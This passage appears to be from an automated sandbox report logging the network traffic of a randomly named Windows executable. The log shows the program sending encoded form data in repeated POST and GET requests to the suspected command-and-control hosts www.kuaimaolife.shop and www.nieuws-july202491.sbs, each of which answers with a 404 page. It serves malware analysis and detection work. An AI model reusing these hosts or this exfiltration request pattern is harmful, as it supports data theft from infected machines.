69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	50036	38.55.251.233	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:12.705909967 CEST	796	OUT	POST /9wb2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.kuaimaolife.shop Origin: http://www.kuaimaolife.shop Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.kuaimaolife.shop/9wb2/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 30 57 4e 6b 4d 41 59 62 53 49 75 56 58 59 59 68 78 69 41 74 74 72 64 46 68 2f 43 75 33 69 4c 73 47 42 6b 59 42 37 48 74 4b 4f 39 5a 4c 46 59 52 45 74 6c 63 50 66 63 33 72 4d 71 48 50 7a 47 52 56 63 45 39 42 56 55 46 4a 30 4e 77 61 47 4b 64 74 38 36 2f 4f 34 57 6f 79 77 33 6a 52 6f 6e 49 72 4f 73 34 7a 71 67 4d 71 6f 65 2b 43 7a 4b 32 78 62 76 44 61 47 48 35 2b 4d 47 58 54 50 4a 71 63 71 38 55 31 2f 74 6c 66 74 6a 46 4a 46 75 72 33 38 74 4e 47 4a 37 4c 43 42 2b 76 66 2b 59 6a 6e 56 6a 49 79 76 35 68 53 52 50 48 73 78 37 6b 6e 6d 46 31 58 56 4a 7a 32 36 73 6c 56 33 53 53 61 52 75 34 43 6a 54 6c 47 34 42 4b 38 61 52 34 77 7a 68 74 74 64 6d 65 61 50 49 2b 4b 4e 4f 2f 56 77 3d 3d Data Ascii: ej6Le=0WNkMAYbSIuVXYYhxiAttrdFh/Cu3iLsGBkYB7HtKO9ZLFYREtlcPfc3rMqHPzGRVcE9BVUFJ0NwaGKdt86/O4Woyw3jRonIrOs4zqgMqoe+CzK2xbvDaGH5+MGXTPJqcq8U1/tlftjFJFur38tNGJ7LCB+vf+YjnVjIyv5hSRPHsx7knmF1XVJz26slV3SSaRu4CjTlG4BK8aR4wzhttdmeaPI+KNO/Vw==
Oct 7, 2024 12:36:13.566414118 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 10:36:13 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50037	38.55.251.233	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:15.245714903 CEST	1809	OUT	POST /9wb2/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.kuaimaolife.shop Origin: http://www.kuaimaolife.shop Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.kuaimaolife.shop/9wb2/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 30 57 4e 6b 4d 41 59 62 53 49 75 56 58 59 59 68 78 69 41 74 74 72 64 46 68 2f 43 75 33 69 4c 73 47 42 6b 59 42 37 48 74 4b 4f 6c 5a 4c 33 51 52 46 4f 4e 63 64 50 63 33 6f 4d 71 47 50 7a 47 41 56 63 73 35 42 56 70 34 4a 32 31 77 56 45 43 64 6f 4f 53 2f 41 34 57 6f 77 77 33 69 4f 59 6e 6e 72 4f 38 38 7a 71 77 4d 71 6f 65 2b 43 79 36 32 79 4f 44 44 57 6d 48 6d 2f 4d 48 59 58 50 4a 4f 63 71 6b 45 31 2f 68 31 63 5a 58 46 48 46 2b 72 78 50 56 4e 46 70 37 4a 44 42 2f 6f 66 37 42 37 6e 52 43 35 79 76 38 4f 53 54 54 48 75 48 62 2f 2b 58 46 42 4a 32 78 32 68 61 59 6d 4e 41 71 48 58 53 58 43 4d 41 2f 43 4d 61 35 31 2b 66 42 50 34 54 6f 74 71 63 6d 77 65 4a 64 67 44 64 44 31 43 51 45 7a 32 4f 66 31 78 6c 67 55 6d 46 68 72 78 74 6b 2f 49 56 6c 54 47 47 36 43 35 43 52 4a 6d 50 52 41 6e 68 68 58 6f 34 69 30 79 4c 4f 47 7a 6b 51 43 42 4e 77 4f 51 79 76 43 73 52 69 79 2b 43 69 39 44 77 50 75 4c 69 70 32 55 39 2f 4d 41 77 7a 5a 32 33 68 47 50 4d 68 4d 55 4b 6c 78 44 57 47 72 56 63 64 30 7a 32 65 31 [TRUNCATED] Data Ascii: ej6Le=0WNkMAYbSIuVXYYhxiAttrdFh/Cu3iLsGBkYB7HtKOlZL3QRFONcdPc3oMqGPzGAVcs5BVp4J21wVECdoOS/A4Woww3iOYnnrO88zqwMqoe+Cy62yODDWmHm/MHYXPJOcqkE1/h1cZXFHF+rxPVNFp7JDB/of7B7nRC5yv8OSTTHuHb/+XFBJ2x2haYmNAqHXSXCMA/CMa51+fBP4TotqcmweJdgDdD1CQEz2Of1xlgUmFhrxtk/IVlTGG6C5CRJmPRAnhhXo4i0yLOGzkQCBNwOQyvCsRiy+Ci9DwPuLip2U9/MAwzZ23hGPMhMUKlxDWGrVcd0z2e1ZVTuaFF0Sy6bUPdh3tKQMLTX0VMhVrIBECtUkBP5FnFCreZb0fW7oBD+zZQ/w45EZxXiPivuzDQEr1Xsvp4MLFmcMc05+veckOmhzeWoHJktNAaeodU/aCLbVM0CTPut9Cm/39oCWRJI/EQOPG6RlDMT/FcAhoBpQjB23qwu7cSqVaf/oqFNO82YIgJR8ExVdUdi8Y259uB6jL2JeYdcmG8+4Rp77fEbrZ5SEMAheSYLirEcO90GsVEbwqe0FjgHOph+amo+rCZ1py1hxiuX9ED96n2yRGyK6onJI6+/hOT0GljaP2ZOs38ocKF6cHHs6wxHtTPJbzq8fkhAPHpgz1TmVMN1VDx/tCLSVF+TP/+iCq0opX5HN+6SQXmQyJrn/jlEhMCoh3aGys124OEam4PsvOkVLEbWpQ78MlpnNamHBqqCFis85nvPvcxz+y0AS+Z8HP5HWKqzpI3wYLldXsJvFebH+2+bC9oDQuyztwbtSlB+UVNDp1P333045GO+su00vCpOFHFDW5uizNIeUCX3t1aFtl4fSGGufAZTtLTxuGUu0ltuyQ0vocS/YZ3FICS0RmOsPHo5zzGDnwZ3swUsJ+Y3S5aDEtoZShsSrzxG9BjSfyP0uQSxzoQG0JZM8vwcNGa0fVzDlwpph6qymmvaLJHiZ/kF5U [TRUNCATED]
Oct 7, 2024 12:36:16.072273970 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 10:36:15 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50038	38.55.251.233	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:17.787180901 CEST	508	OUT	GET /9wb2/?ej6Le=5UlEP0kDVMW/PPEwoDc70sMozoicrCD3NhlqEuGPGOUFJHosOZBhD6Eku4DzDmeGf+gBdkEGC1Jne06x+N2lRr6ZxBLzarbPmMoZ56wq7frcAS7q07bHFFW9m+jVLfRUYpA8+/U=&An=mLdxo2Y8RLRh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.kuaimaolife.shop Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:36:18.630810022 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 10:36:18 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50040	162.0.215.33	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:23.694304943 CEST	787	OUT	POST /rq5n/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.nieuws-july202491.sbs Origin: http://www.nieuws-july202491.sbs Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.nieuws-july202491.sbs/rq5n/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 6b 6b 2f 6b 6f 4c 65 77 6f 4a 6f 4a 39 63 37 65 35 55 6e 32 76 65 43 4b 47 61 33 42 37 4a 72 54 4d 33 4c 78 6a 6e 75 42 71 74 2b 69 61 58 53 74 52 2f 71 33 65 48 4e 4f 5a 73 44 6e 38 33 58 41 4f 49 44 6a 51 32 37 4f 35 6a 35 76 67 2b 30 73 4c 53 46 49 6e 51 44 75 6b 6c 6c 45 78 76 53 62 37 70 55 2f 6a 63 51 79 72 33 76 50 74 39 33 51 44 73 43 31 4d 52 52 73 64 33 43 52 36 32 30 52 5a 41 45 53 6c 6b 38 53 56 6a 77 38 6d 4b 38 48 71 35 70 33 4e 39 6b 55 33 41 58 7a 38 61 65 34 74 70 56 5a 68 75 64 6c 4a 31 48 6e 72 51 71 7a 69 74 47 79 4f 79 44 59 4e 33 6d 61 70 6f 49 4d 72 45 5a 4d 78 30 41 70 62 70 53 43 Data Ascii: ej6Le=kk/koLewoJoJ9c7e5Un2veCKGa3B7JrTM3LxjnuBqt+iaXStR/q3eHNOZsDn83XAOIDjQ27O5j5vg+0sLSFInQDukllExvSb7pU/jcQyr3vPt93QDsC1MRRsd3CR620RZAESlk8SVjw8mK8Hq5p3N9kU3AXz8ae4tpVZhudlJ1HnrQqzitGyOyDYN3mapoIMrEZMx0ApbpSC
Oct 7, 2024 12:36:24.285926104 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Mon, 07 Oct 2024 10:36:24 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 41 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 02 a2 a6 aa 67 b4 21 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f b1 4b 66 6d 28 dc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 93 a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee c9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 70 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d a6 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 55 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f [TRUNCATED] Data Ascii: 135AZJvLg!qCV's=pB<w?Kfm( o=\|3q+{XV)w]vtOv,"fv?B0GVp]nyyG=56jZ:UMh/0K'wRUX7!rVY:s^o/^VL?{fUm7n/L-B/?.+0@{?{T`+1J`,(?{~61y??1?LuwK,Dyl]XqfG}g}z@Kf]e7{._",-0A_\WXqo_Pl!.\c=$?3gE/-"!=z`@]Wh-5@yFgj]IyPN>!Io<?=nKo:;j}vV Eoqhd[\=^f&32Q#b2zcQ>2/ol?yqXV>uY]!!_u&-)o>2bi3}`dmyG;].Q>P\|}m_QmV8HrT~I*@W KYxSz125?VPtYCzug\|J
Oct 7, 2024 12:36:24.285974979 CEST	1236	IN	Data Raw: a0 04 fe 66 86 37 7e fe 96 b8 4e 68 0e fe 94 80 40 fa 62 98 f1 88 cc bb 3f df 6c 73 8b da 9b e1 5e 79 79 56 5e 32 d4 c3 a0 70 63 10 eb 9a 1b 07 ec e7 f4 11 0b f8 4f fb 30 08 42 c7 71 d3 37 96 fa d1 be 5d e5 a7 0b b2 9f fd fa fd bc 37 f6 fb 15 b7 Data Ascii: f7~Nh@b?ls^yyV^2pcO0Bq7]7}E(CI?8T^4=u/"]G}~=q<^z?4GLRb ,d^s"g^a0oeZero>z9
Oct 7, 2024 12:36:24.286021948 CEST	1236	IN	Data Raw: e1 b2 c4 27 0b 58 34 da 70 d9 69 82 ef 72 73 3b b1 24 71 62 db 82 c6 38 9d ee 1a 66 3a cd d5 99 44 eb ac 38 ed 5a d4 0e 66 21 4d 65 49 74 c6 3b 02 8f a1 b4 de f2 c9 36 88 d4 12 31 47 c6 d8 10 36 ee 78 8c 25 68 b5 8f 75 9a 0b e6 e2 24 1a a5 f5 82 Data Ascii: 'X4pirs;$qb8f:D8Zf!MeIt;61G6x%hu$#\|NpTqf76[J9^sNdK[(t&A\'a GXfSfQ*sam.!4_&;pBM=:rRy%9\[(n.ZAX-
Oct 7, 2024 12:36:24.286058903 CEST	1236	IN	Data Raw: 6d 08 e0 d4 0a dd b4 e7 e3 32 ae d7 4d c0 d2 1b 1a 33 09 f1 d4 c1 84 de 2d 8a 8e f4 b3 93 bd 45 74 ce 5f 12 27 6c 81 0b 90 1e 0f 77 22 4c 34 99 3d 2a f6 11 85 d3 79 83 a7 07 6f 05 a7 81 36 26 51 10 9a e5 51 45 2c dd 6d a7 76 75 94 fa f5 0c 5d 91 Data Ascii: m2M3-Et_'lw"L4=yo6&QQE,mvu]iR1>[$3L#$Sh=rirW:37,*27t1=fa(7k^'rAsoFT2;i\|2r.eHQb;q-neJ'q
Oct 7, 2024 12:36:24.286091089 CEST	287	IN	Data Raw: d7 31 cf 2e f7 76 e1 7c 37 80 7f 42 fe 4a a8 eb 2b e6 4f 64 b9 66 ff 53 e0 7e 06 aa 3f bd a0 ea cf 9f 6a e3 22 f0 7b 5b 5e ef f8 3c fc 47 1a 03 ea 7c a7 84 67 55 dd 7d 7b 84 3f 5b f5 08 7f 64 9e 1b 40 7d c0 d7 55 84 78 65 f1 f1 b9 b2 f7 5e e1 bf Data Ascii: 1.v\|7BJ+OdfS~?j"{[^<G\|gU}{?[d@}Uxe^WWt=@fo2}zn_DV'3$O}(MGfB%'M}Sg$>~/1~0g`u\|~t!w378x^h t4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50041	162.0.215.33	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:36:26.234390974 CEST	811	OUT	POST /rq5n/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.nieuws-july202491.sbs Origin: http://www.nieuws-july202491.sbs Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.nieuws-july202491.sbs/rq5n/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 6b 6b 2f 6b 6f 4c 65 77 6f 4a 6f 4a 79 64 4c 65 2f 46 6e 32 75 2b 43 4a 59 4b 33 42 77 70 72 50 4d 77 44 78 6a 6c 43 6f 71 65 61 69 61 31 4b 74 66 65 71 33 66 48 4e 4f 58 4d 44 69 32 58 57 74 4f 49 66 4e 51 33 48 4f 35 6a 74 76 67 38 73 73 49 6a 46 48 6f 67 44 67 34 6c 6c 47 31 76 53 62 37 70 55 2f 6a 63 73 59 72 33 6e 50 73 4d 48 51 43 4e 43 32 4b 68 52 76 61 33 43 52 2b 32 30 64 5a 41 46 48 6c 68 64 50 56 67 59 38 6d 50 59 48 71 49 70 32 58 74 6b 61 7a 41 57 66 7a 5a 37 63 68 71 63 74 6d 50 70 6c 58 6d 66 65 6e 47 72 70 2b 65 47 52 63 69 6a 61 4e 31 2b 6f 70 49 49 6d 70 45 68 4d 6a 6a 4d 4f 55 64 33 68 51 38 32 58 73 44 6e 76 6f 51 67 6c 61 37 65 46 34 55 66 6c 42 41 3d 3d Data Ascii: ej6Le=kk/koLewoJoJydLe/Fn2u+CJYK3BwprPMwDxjlCoqeaia1Ktfeq3fHNOXMDi2XWtOIfNQ3HO5jtvg8ssIjFHogDg4llG1vSb7pU/jcsYr3nPsMHQCNC2KhRva3CR+20dZAFHlhdPVgY8mPYHqIp2XtkazAWfzZ7chqctmPplXmfenGrp+eGRcijaN1+opIImpEhMjjMOUd3hQ82XsDnvoQgla7eF4UflBA==
Oct 7, 2024 12:36:26.837969065 CEST	1236	IN	HTTP/1.1 404 Not Found keep-alive: timeout=5, max=100 content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Mon, 07 Oct 2024 10:36:26 GMT server: LiteSpeed x-turbo-charged-by: LiteSpeed connection: close Data Raw: 31 33 35 42 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 92 e2 4a 76 fe 7f 9f 02 97 c3 f6 4c a8 ab b5 22 44 4d 55 cf 68 03 09 90 90 04 02 84 c3 71 43 bb 84 56 b4 c3 84 1f c8 af e1 27 73 8a aa ea a2 e8 aa db 3d 0e ff 70 f6 8f 42 b9 9c 3c cb 77 ce c9 ce 93 bf fd f6 db e3 3f 71 4b 76 6d 28 fc 20 a8 92 f8 db 6f 8f cf 7f 06 a0 3d 06 ae e9 7c fb ed f2 33 71 2b 13 cc a8 f2 7b f7 58 87 cd d3 1d 9b a5 95 9b 56 f7 d5 29 77 ef 06 f6 f3 d7 d3 5d e5 76 15 dc 93 f8 cb c0 0e cc a2 74 ab a7 ba f2 ee a9 bb 4f e9 98 76 e0 de f7 eb 8b 2c be 22 94 66 f7 76 3f f4 e9 42 a5 30 fd c4 fc 47 56 f0 5d 1e 16 6e 79 b5 04 79 47 3d 35 13 f7 e9 ae 09 dd 36 cf 8a ea 6a 5a 1b 3a 55 f0 e4 b8 4d 68 bb f7 97 8f 2f 83 30 0d ab d0 8c ef 4b db 8c dd 27 f4 eb 77 52 55 58 c5 ee 37 02 21 06 72 56 0d 26 59 9d 3a 8f f0 73 e7 b3 2a cb ea 14 bb 83 5e 6f 2f ea b2 cb f2 85 8f 5e d5 56 e6 9c 06 7f bf 4c ed 3f fb e6 01 ed dc 7b 66 12 c6 a7 87 01 5d 80 6d bf 0c 04 37 6e dc 2a b4 cd 2f 83 d2 4c cb fb d2 2d 42 ef 2f 3f 2e 2b c3 b3 fb 30 40 89 bc 7b 3f [TRUNCATED] Data Ascii: 135BZJvL"DMUhqCV's=pB<w?qKvm( o=\|3q+{XV)w]vtOv,"fv?B0GV]nyyG=56jZ:UMh/0K'wRUX7!rV&Y:s^o/^VL?{f]m7n/L-B/?.+0@{?{T`+QJ`,(?{~61y??1?LuwK,Dyl]XqfG}g}z@Kf]e7{._",-0A_^WXqo_Pl!.\c=$?3gE/-"!=z`@]Wh-5@yFgj]IyPN>!Io<?=nKoJ^^i[5w\;+~RB7z8G{eOy-/as^ho^19_G5m{Z^b1/Vz 2xc7+w7;<[^G;\,ml[z7/hK901[3~{Yr@K~y?@q/I:d9oj0}^/5FP:{}>Lnn!AOl^:?Ww'
Oct 7, 2024 12:36:26.838063002 CEST	1236	IN	Data Raw: 4a e0 6f 66 78 e3 e7 6f 89 eb 84 e6 e0 4f 09 08 a4 2f 86 19 91 54 de fd f9 66 9b 5b d4 de 0c f7 ca cb b3 f2 92 a1 1e 06 85 1b 83 58 d7 dc 38 60 3f a7 8f 58 c0 7f da 87 41 10 3a 8e 9b be b1 d4 8f f6 ed 2a 3f 5d 90 fd ec d7 ef e7 bd b1 df af b8 65 Data Ascii: JofxoO/Tf[X8`?XA:?]e,O?FH{?zvGY?U)g:$?d4^}oa'CH?x!g9iY\W8a*~+z`U$
Oct 7, 2024 12:36:26.838089943 CEST	1236	IN	Data Raw: b8 2c f1 f1 02 16 8d 36 5c 76 9a e0 bb fc dc 4e 2c 49 1c db b6 a0 b1 4e a7 bb 86 99 4e 72 75 26 31 3a 27 4e ba 16 b5 83 59 c8 d0 59 12 9d f1 8e c0 63 28 ad b7 d3 64 1b 44 6a 89 98 a4 31 32 84 8d 3b 1a 61 09 5a ed 63 9d e1 83 b9 38 8e c8 b4 5e f0 Data Ascii: ,6\vN,INNru&1:'NYYc(dDj12;aZc8^uoV<._!i2MF#lyvNs\se,}T]lZ<qM#1;j8cni5HOp$s)jf\XK~Ht93-bJwjE8D^x)sBF^X^nCeST jF
